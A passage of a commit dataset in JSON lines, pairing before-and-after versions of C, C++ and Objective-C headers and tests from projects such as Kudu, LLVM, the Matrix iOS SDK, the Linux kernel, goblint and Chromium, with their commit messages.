<8d4c780fcfdc41841e5070f4c43da8958ba6aec0@weilnetz.de>\n","lang":"C","license":"apache-2.0","repos":"amitdo\/tesseract,UB-Mannheim\/tesseract,amitdo\/tesseract,stweil\/tesseract,amitdo\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract,stweil\/tesseract,tesseract-ocr\/tesseract,amitdo\/tesseract,tesseract-ocr\/tesseract,stweil\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract,amitdo\/tesseract,stweil\/tesseract,UB-Mannheim\/tesseract,stweil\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract"}
{"commit":"02c6405e8736dbfcfbc8d2c8290fb4f3f7a063f1","old_file":"src\/util\/countdown_latch.h","new_file":"src\/util\/countdown_latch.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2013, Cloudera, inc.\n\/\/\n\/\/ This is a C++ implementation of the Java CountDownLatch\n\/\/ class.\n\/\/ See http:\/\/docs.oracle.com\/javase\/6\/docs\/api\/java\/util\/concurrent\/CountDownLatch.html\n#ifndef KUDU_UTIL_COUNTDOWN_LATCH_H\n#define KUDU_UTIL_COUNTDOWN_LATCH_H\n\n#include <boost\/noncopyable.hpp>\n#include <boost\/thread\/mutex.hpp>\n\nnamespace kudu {\n\nclass CountDownLatch : boost::noncopyable {\npublic:\n  \/\/ Initialize the latch with the given initial count.\n  CountDownLatch(int count) :\n    count_(count)\n  {}\n\n  \/\/ Decrement the count of this latch.\n  \/\/ If the new count is zero, then all waiting threads are woken up.\n  \/\/ If the count is already zero, this has no effect.\n  void CountDown() {\n    boost::lock_guard<boost::mutex> lock(lock_);\n    if (count_ == 0) {\n      return;\n    }\n\n    if (--count_ == 0) {\n      \/\/ Latch has triggered.\n      cond_.notify_all();\n    }\n  }\n\n  \/\/ Wait until the count on the latch reaches zero.\n  \/\/ If the count is already zero, this returns immediately.\n  void Wait() {\n    boost::unique_lock<boost::mutex> lock(lock_);\n    while (count_ > 0) {\n      cond_.wait(lock);\n    }\n  }\n\n  \/\/ Wait on the latch for the given duration of time.\n  \/\/ Return true if the latch reaches 0 within the given\n  \/\/ timeout. Otherwise false.\n  \/\/\n  \/\/ For example:\n  \/\/  latch.TimedWait(boost::posix_time::milliseconds(100));\n  template<class TimeDuration>\n  bool TimedWait(TimeDuration const &relative_time) {\n    return TimedWait(boost::get_system_time() + relative_time);\n  }\n\n  \/\/ Wait on the latch until the given system time.\n  \/\/ Return true if the latch reaches 0 within the given\n  \/\/ timeout. Otherwise false.\n  bool TimedWait(const boost::system_time &time_until) {\n    boost::unique_lock<boost::mutex> lock(lock_);\n    while (count_ > 0) {\n      if (!cond_.timed_wait(lock, time_until)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  uint64_t count() const {\n    return count_;\n  }\n\nprivate:\n  mutable boost::mutex lock_;\n  boost::condition_variable cond_;\n\n  uint64_t count_;\n};\n\n} \/\/ namespace kudu\n#endif\n","subject":"Add a CountDownLatch class like Java's","message":"util: Add a CountDownLatch class like Java's\n\nThis is handy in multi-threaded tests.\n","lang":"C","license":"apache-2.0","repos":"andrwng\/kudu,helifu\/kudu,EvilMcJerkface\/kudu,cloudera\/kudu,helifu\/kudu,cloudera\/kudu,InspurUSA\/kudu,andrwng\/kudu,cloudera\/kudu,EvilMcJerkface\/kudu,EvilMcJerkface\/kudu,helifu\/kudu,andrwng\/kudu,helifu\/kudu,cloudera\/kudu,cloudera\/kudu,InspurUSA\/kudu,cloudera\/kudu,InspurUSA\/kudu,EvilMcJerkface\/kudu,EvilMcJerkface\/kudu,InspurUSA\/kudu,EvilMcJerkface\/kudu,andrwng\/kudu,InspurUSA\/kudu,andrwng\/kudu,helifu\/kudu,helifu\/kudu,andrwng\/kudu,EvilMcJerkface\/kudu,helifu\/kudu,InspurUSA\/kudu,andrwng\/kudu,InspurUSA\/kudu,cloudera\/kudu,helifu\/kudu,helifu\/kudu,InspurUSA\/kudu,EvilMcJerkface\/kudu,cloudera\/kudu,cloudera\/kudu,InspurUSA\/kudu,andrwng\/kudu,andrwng\/kudu,EvilMcJerkface\/kudu"}
{"commit":"9af81a685e627783b65a9346fa02270a5b59b304","old_file":"include\/llvm\/iOperators.h","new_file":"include\/llvm\/iOperators.h","old_contents":"\/\/===-- llvm\/iBinary.h - Binary Operator node definitions --------*- C++ -*--=\/\/\n\/\/\n\/\/ This file contains the declarations of all of the Binary Operator classes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_IBINARY_H\n#define LLVM_IBINARY_H\n\n#include \"llvm\/InstrTypes.h\"\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                 Classes to represent Binary operators\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ All of these classes are subclasses of the BinaryOperator class...\n\/\/\n\nclass AddInst : public BinaryOperator {\npublic:\n  AddInst(Value *S1, Value *S2, const string &Name = \"\")\n      : BinaryOperator(Instruction::Add, S1, S2, Name) {\n  }\n\n  virtual string getOpcode() const { return \"add\"; }\n};\n\n\nclass SubInst : public BinaryOperator {\npublic:\n  SubInst(Value *S1, Value *S2, const string &Name = \"\") \n    : BinaryOperator(Instruction::Sub, S1, S2, Name) {\n  }\n\n  virtual string getOpcode() const { return \"sub\"; }\n};\n\n\nclass SetCondInst : public BinaryOperator {\n  BinaryOps OpType;\npublic:\n  SetCondInst(BinaryOps opType, Value *S1, Value *S2, \n\t      const string &Name = \"\");\n\n  virtual string getOpcode() const;\n};\n\n#endif\n","new_contents":"\/\/===-- llvm\/iBinary.h - Binary Operator node definitions --------*- C++ -*--=\/\/\n\/\/\n\/\/ This file contains the declarations of all of the Binary Operator classes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_IBINARY_H\n#define LLVM_IBINARY_H\n\n#include \"llvm\/InstrTypes.h\"\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                 Classes to represent Binary operators\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ All of these classes are subclasses of the BinaryOperator class...\n\/\/\n\nclass GenericBinaryInst : public BinaryOperator {\n  const char *OpcodeString;\npublic:\n  GenericBinaryInst(unsigned Opcode, Value *S1, Value *S2, \n\t\t    const char *OpcodeStr, const string &Name = \"\")\n    : BinaryOperator(Opcode, S1, S2, Name) {\n    OpcodeString = OpcodeStr;\n  }\n\n  virtual string getOpcode() const { return OpcodeString; }\n};\n\nclass SetCondInst : public BinaryOperator {\n  BinaryOps OpType;\npublic:\n  SetCondInst(BinaryOps opType, Value *S1, Value *S2, \n\t      const string &Name = \"\");\n\n  virtual string getOpcode() const;\n};\n\n#endif\n","subject":"Make a new GenericBinaryInst class, instead of providing lots of silly little classes.","message":"Make a new GenericBinaryInst class, instead of providing lots of silly\nlittle classes.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@82 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"68b97b56e8c77a8010f181efcae3f41afa3d5002","old_file":"MatrixSDK\/Crypto\/SecretStorage\/MXSecretStorage_Private.h","new_file":"MatrixSDK\/Crypto\/SecretStorage\/MXSecretStorage_Private.h","old_contents":"\/*\n Copyright 2020 The Matrix.org Foundation C.I.C\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import \"MXSecretStorage.h\"\n\n@class MXSession;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface MXSecretStorage ()\n\n\/**\n Constructor.\n \n @param mxSession the related 'MXSession' instance.\n *\/\n- (instancetype)initWithMatrixSession:(MXSession *)mxSession  processingQueue:(dispatch_queue_t)processingQueue;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/*\n Copyright 2020 The Matrix.org Foundation C.I.C\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import \"MXSecretStorage.h\"\n\n@class MXSession;\n@class MXEncryptedSecretContent;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface MXSecretStorage ()\n\n\/**\n Constructor.\n \n @param mxSession the related 'MXSession' instance.\n *\/\n- (instancetype)initWithMatrixSession:(MXSession *)mxSession  processingQueue:(dispatch_queue_t)processingQueue;\n\n- (nullable MXEncryptedSecretContent *)encryptedZeroStringWithPrivateKey:(NSData*)privateKey iv:(nullable NSData*)iv error:(NSError**)error;\n\n- (nullable MXEncryptedSecretContent *)encryptSecret:(NSString*)unpaddedBase64Secret withSecretId:(nullable NSString*)secretId privateKey:(NSData*)privateKey iv:(nullable NSData*)iv error:(NSError**)error;\n\n- (nullable NSString *)decryptSecretWithSecretId:(NSString*)secretId\n                                   secretContent:(MXEncryptedSecretContent*)secretContent\n                                  withPrivateKey:(NSData*)privateKey\n                                           error:(NSError**)error;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Make aes-hmac-sha2 encryption methods from `MXSecretStorage` available in SDK","message":"Make aes-hmac-sha2 encryption methods from `MXSecretStorage` available in SDK\n\n","lang":"C","license":"apache-2.0","repos":"matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk"}
{"commit":"38f3323037de22bb0089d08be27be01196e7148b","old_file":"include\/asm-generic\/page.h","new_file":"include\/asm-generic\/page.h","old_contents":"#ifndef _ASM_GENERIC_PAGE_H\n#define _ASM_GENERIC_PAGE_H\n\n#ifdef __KERNEL__\n#ifndef __ASSEMBLY__\n\n#include <linux\/log2.h>\n\n\/*\n * non-const pure 2^n version of get_order\n * - the arch may override these in asm\/bitops.h if they can be implemented\n *   more efficiently than using the arch log2 routines\n * - we use the non-const log2() instead if the arch has defined one suitable\n *\/\n#ifndef ARCH_HAS_GET_ORDER\nstatic inline __attribute__((const))\nint __get_order(unsigned long size, int page_shift)\n{\n#if BITS_PER_LONG == 32 && defined(ARCH_HAS_ILOG2_U32)\n\tint order = __ilog2_u32(size) - page_shift;\n\treturn order >= 0 ? order : 0;\n#elif BITS_PER_LONG == 64 && defined(ARCH_HAS_ILOG2_U64)\n\tint order = __ilog2_u64(size) - page_shift;\n\treturn order >= 0 ? order : 0;\n#else\n\tint order;\n\n\tsize = (size - 1) >> (page_shift - 1);\n\torder = -1;\n\tdo {\n\t\tsize >>= 1;\n\t\torder++;\n\t} while (size);\n\treturn order;\n#endif\n}\n#endif\n\n\/**\n * get_order - calculate log2(pages) to hold a block of the specified size\n * @n - size\n *\n * calculate allocation order based on the current page size\n * - this can be used to initialise global variables from constant data\n *\/\n#define get_order(n)\t\t\t\t\t\t\t\\\n(\t\t\t\t\t\t\t\t\t\\\n\t__builtin_constant_p(n) ?\t\t\t\t\t\\\n\t((n < (1UL << PAGE_SHIFT)) ? 0 : ilog2(n) - PAGE_SHIFT) :\t\\\n\t__get_order(n, PAGE_SHIFT)\t\t\t\t\t\\\n )\n\n#endif\t\/* __ASSEMBLY__ *\/\n#endif\t\/* __KERNEL__ *\/\n\n#endif\t\/* _ASM_GENERIC_PAGE_H *\/\n","new_contents":"#ifndef _ASM_GENERIC_PAGE_H\n#define _ASM_GENERIC_PAGE_H\n\n#ifdef __KERNEL__\n#ifndef __ASSEMBLY__\n\n#include <linux\/compiler.h>\n\n\/* Pure 2^n version of get_order *\/\nstatic __inline__ __attribute_const__ int get_order(unsigned long size)\n{\n\tint order;\n\n\tsize = (size - 1) >> (PAGE_SHIFT - 1);\n\torder = -1;\n\tdo {\n\t\tsize >>= 1;\n\t\torder++;\n\t} while (size);\n\treturn order;\n}\n\n#endif\t\/* __ASSEMBLY__ *\/\n#endif\t\/* __KERNEL__ *\/\n\n#endif\t\/* _ASM_GENERIC_PAGE_H *\/\n","subject":"Revert \"[PATCH] LOG2: Alter get_order() so that it can make use of ilog2() on a constant\"","message":"Revert \"[PATCH] LOG2: Alter get_order() so that it can make use of ilog2() on a constant\"\n\nThis reverts commit 39d61db0edb34d60b83c5e0d62d0e906578cc707.\n\nThe commit was buggy in multiple ways:\n - the conversion to ilog2() was incorrect to begin with\n - it tested the wrong #defines, so on all architectures but FRV you'd\n   never see the bug except for constant arguments.\n - the new \"get_order()\" macro used its arguments multiple times, and\n   didn't even parenthesize them properly\n - despite the comments, it was not true that you could use it for\n   constant initializers, since not all architectures even use the\n   generic page.h header file.\n\nAll of the problems are individually fixable, but it all boils down to:\nbetter just revert it, and re-do it from scratch.\n\nCc: David Howells <ebac1d06c1688626821bb0e574a037a7a5354e49@redhat.com>\nCc: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\nCc: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\nCc: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@osdl.org>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"712c6cef810aa3c6635a677bc9eef7dd8e7cc599","old_file":"tests\/regression\/02-base\/93-ad-struct-offset.c","new_file":"tests\/regression\/02-base\/93-ad-struct-offset.c","old_contents":"","new_contents":"\/\/ SKIP\n#include <assert.h>\nstruct str{\n    int a;\n    char c;\n};\n\nint main(){\n    struct str a;\n\n    char* ca = (char*) &a;\n    void *ptr = &ca[4];\n    void *ptr2 = &a.c;\n\n    int z = 1;\n\n    \/\/ Alginment of struct fields, and thus result of the equality check here is implementation defined.\n    if(ptr == ptr2){\n        z = 1;\n    } else {\n        z = 2;\n    }\n\n    \/\/ Aaccording to the C standard (section 6.2.8 in the C11 standard),\n    \/\/ the alignment of fields in structs is implementation defined.\n    \/\/ When compiling with GCC, the following check as an assert happens to hold.\n    __goblint_check(z==1); \/\/UNKNOWN!\n}\n","subject":"Add skipped regression test that exposes unsoundness when comparing addresses with integer and field offset.","message":"Add skipped regression test that exposes unsoundness when comparing addresses with integer and field offset.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"237c88f631c428a2a6afa4927a02c2f84939025c","old_file":"Source\/NSManagedObject+HYPURI.h","new_file":"Source\/NSManagedObject+HYPURI.h","old_contents":"@import CoreData;\n\n@interface NSManagedObject (HYPURI)\n\n- (NSString *)hyp_URI;\n\n@end\n","new_contents":"@import CoreData;\n\n@interface NSManagedObject (HYPURI)\n\n- (NSString *)hyp_URI;\n\n+ (NSManagedObject *)managedObjectWithURI:(NSString *)URI inContext:(NSManagedObjectContext *)context;\n\n@end\n","subject":"Add method to retrieve object using an URI","message":"Add method to retrieve object using an URI","lang":"C","license":"mit","repos":"hyperoslo\/NSManagedObject-HYPURI"}
{"commit":"6520b60844230204cf736f17b814d95b6c0e249b","old_file":"webkit\/glue\/screen_info.h","new_file":"webkit\/glue\/screen_info.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBKIT_GLUE_SCREEN_INFO_H_\n#define WEBKIT_GLUE_SCREEN_INFO_H_\n\n#include \"base\/gfx\/rect.h\"\n\nnamespace webkit_glue {\n\nstruct ScreenInfo {\n  int depth;\n  int depth_per_component;\n  bool is_monochrome;\n  gfx::Rect rect;\n  gfx::Rect available_rect;\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_SCREEN_INFO_H_\n","subject":"Add missing file. Oops :(","message":"Add missing file.  Oops :(\n\nTBR=dglazkov\n\nReview URL: http:\/\/codereview.chromium.org\/8789\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@4338 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"cc954580aab4e44ec294c878306060778fb29af1","old_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","new_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","old_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","new_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n\tvoid *main_module;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","subject":"Revert \"Revert \"Add support for the Python Stdout Log\"\"","message":"Revert \"Revert \"Add support for the Python Stdout Log\"\"\n\nThis reverts commit 32671bbd7b2134d5d1912225eb47bb368ee3e7ab.\n","lang":"C","license":"mit","repos":"getnamo\/UnrealEnginePython,Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython,Orav\/UnrealEnginePython,kitelightning\/UnrealEnginePython,getnamo\/UnrealEnginePython,kitelightning\/UnrealEnginePython,20tab\/UnrealEnginePython,20tab\/UnrealEnginePython,kitelightning\/UnrealEnginePython,kitelightning\/UnrealEnginePython,Orav\/UnrealEnginePython,getnamo\/UnrealEnginePython,kitelightning\/UnrealEnginePython,Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython"}
{"commit":"798e1889b6743be7d18a944a46442468004c8ed5","old_file":"2DXngine.Test\/src\/Integration_Tiled\/TiledFixture.h","new_file":"2DXngine.Test\/src\/Integration_Tiled\/TiledFixture.h","old_contents":"#pragma once\n#include \"gtest\\gtest.h\"\n#include \"..\/pugixml\/src\/pugixml.hpp\"\n#include <Integrations\\Tiled\\Parsers\\TileMapParser.h>\n#include <Integrations\\Tiled\\DataStructures\\TiledMap.h>\n\nclass TiledFixture : public ::testing::Test\n{\nprotected:\n    virtual void SetUp()\n    {\n        pugi::xml_document doc;\n        auto parseResult = doc.load_file(\".\/Content\/TestMap.tmx\");\n\n        auto parser = TileMapParser();\n        this->_parsedMap = parser.parse(doc.child(\"map\"));\n    }\n\n    virtual void TearDown()\n    {\n        delete _parsedMap;\n    }\n\n    TiledMap * _parsedMap;\n};\n\n\n","new_contents":"#pragma once\n#include \"gtest\\gtest.h\"\n#include \"..\/pugixml\/src\/pugixml.hpp\"\n#include <Integrations\\Tiled\\Parsers\\TileMapParser.h>\n#include <Integrations\\Tiled\\DataStructures\\TiledMap.h>\n#include \"..\/..\/..\/2DXngine.Core\/src\/ContentManagement\/AssetPath.h\"\n\nclass TiledFixture : public ::testing::Test\n{\nprotected:\n    virtual void SetUp()\n    {\n        AssetPath path = AssetPath::create(\"Content\\\\TestMap.tmx\");\n        pugi::xml_document doc;\n        auto parseResult = doc.load_file(path.get_fullPath().c_str());\n\n        auto parser = TileMapParser();\n        this->_parsedMap = parser.parse(doc.child(\"map\"));\n    }\n\n    virtual void TearDown()\n    {\n        delete _parsedMap;\n    }\n\n    TiledMap * _parsedMap;\n};\n\n\n","subject":"Fix path to map xml","message":"EDIT: Fix path to map xml\n","lang":"C","license":"mit","repos":"Harunx9\/2DXngine,Harunx9\/2DXngine,Harunx9\/2DXngine"}
{"commit":"f5a38eb8883ac9a838b2db4a7bbffa244931da4e","old_file":"ObjectiveRocks\/RocksDBMergeOperator.h","new_file":"ObjectiveRocks\/RocksDBMergeOperator.h","old_contents":"\/\/\n\/\/  RocksDBMergeOperator.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 07\/12\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface RocksDBMergeOperator : NSObject\n\n+ (instancetype)operatorWithName:(NSString *)name\n\t\t\t\t\t\tandBlock:(id (^)(id key, id existingValue, id value))block;\n\n+ (instancetype)operatorWithName:(NSString *)name\n\t\t\t   partialMergeBlock:(NSString * (^)(id key, NSString *leftOperand, NSString *rightOperand))partialMergeBlock\n\t\t\t\t  fullMergeBlock:(id (^)(id key, id existingValue, NSArray *operandList))fullMergeBlock;\n\n@end\n","new_contents":"\/\/\n\/\/  RocksDBMergeOperator.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 07\/12\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/** \n A Merge operator is an atomic Read-Modify-Write operation in RocksDB.\n *\/\n@interface RocksDBMergeOperator : NSObject\n\n\/**\n Initializes a new instance of an associative merge operator.\n\n @discussion This Merge Operator can be use for associative data:\n\n * The merge operands are formatted the same as the Put values, AND\n * It is okay to combine multiple operands into one (as long as they are in the same order)\n\n @param name The name of the merge operator.\n @param block The block that merges the existing and new values for the given key.\n @return A newly-initialized instance of the Merge Operator.\n *\/\n+ (instancetype)operatorWithName:(NSString *)name\n\t\t\t\t\t\tandBlock:(id (^)(id key, id existingValue, id value))block;\n\n\/**\n Initializes a new instance of a generic merge operator.\n\n @discussion If either of the two associativity constraints do not hold, then the Generic Merge Operator could\n be used.\n\n The Generic Merge Operator has two methods, PartialMerge, FullMerge:\n\n * PartialMerge: used to combine two-merge operands (if possible). If the client-specified operator can logically \n handle “combining” two merge-operands into a single operand, the semantics for doing so should be provided in this \n method, which should then return a non-nil object. If `nil` is returned, then it means that the two merge-operands\n couldn’t be combined into one.\n\n * FullMerge: this function is given an existingValue and a list of operands that have been stacked. The \n client-specified MergeOperator should then apply the operands one-by-one and return the resulting object. \n If `nil` is returned, then this indicates a failure, i.e. corrupted data, errors ... etc.\n\n @param name The name of the merge operator.\n @param partialMergeBlock The block to perform a partial merge.\n @param fullMergeBlock The block to perform the full merge.\n @return A newly-initialized instance of the Merge Operator.\n *\/\n+ (instancetype)operatorWithName:(NSString *)name\n\t\t\t   partialMergeBlock:(NSString * (^)(id key, NSString *leftOperand, NSString *rightOperand))partialMergeBlock\n\t\t\t\t  fullMergeBlock:(id (^)(id key, id existingValue, NSArray *operandList))fullMergeBlock;\n\n@end\n","subject":"Add source code documentation for the Merge Operator class","message":"Add source code documentation for the Merge Operator class\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"1b1421b65b363e29db2d022f2bff39cef99efc5a","old_file":"AppKit\/DataViewController\/AKTableViewCellAdapter.h","new_file":"AppKit\/DataViewController\/AKTableViewCellAdapter.h","old_contents":"\/\/\n\/\/  AKTableViewCellAdapter.h\n\/\/  AppKit\n\/\/\n\/\/  Created by Zijiao Liu on 12\/20\/15.\n\/\/  Copyright © 2015 Zijiao Liu. All rights reserved.\n\/\/\n\n#import \"AKTableViewConfiguration.h\"\n#import \"AKTableViewCell.h\"\n\n@interface AKTableViewCellAdapter : NSObject <AKTableViewConfiguration>\n\n- (CGFloat)dataViewController:(nonnull AKDataViewController *)dataViewController item:(nonnull id<NSObject>)item groupStyle:(AKTableViewCellGroupStyle)groupStyle seperatorEnabled:(BOOL)seperatorEnabled heightForRowAtIndexPath:(nonnull NSIndexPath *)indexPath;\n\n@end\n","new_contents":"\/\/\n\/\/  AKTableViewCellAdapter.h\n\/\/  AppKit\n\/\/\n\/\/  Created by Zijiao Liu on 12\/20\/15.\n\/\/  Copyright © 2015 Zijiao Liu. All rights reserved.\n\/\/\n\n#import \"AKTableViewConfiguration.h\"\n#import \"AKTableViewCell.h\"\n\n@interface AKTableViewCellAdapter : NSObject <AKTableViewConfiguration>\n\n- (CGFloat)dataViewController:(nonnull AKDataViewController *)dataViewController item:(nonnull id<NSObject>)item heightForRowAtIndexPath:(nonnull NSIndexPath *)indexPath NS_UNAVAILABLE;\n\n- (CGFloat)dataViewController:(nonnull AKDataViewController *)dataViewController item:(nonnull id<NSObject>)item groupStyle:(AKTableViewCellGroupStyle)groupStyle seperatorEnabled:(BOOL)seperatorEnabled heightForRowAtIndexPath:(nonnull NSIndexPath *)indexPath;\n\n@end\n","subject":"Disable a method in adapter","message":"Disable a method in adapter\n","lang":"C","license":"apache-2.0","repos":"lingguang1997\/AppKit"}
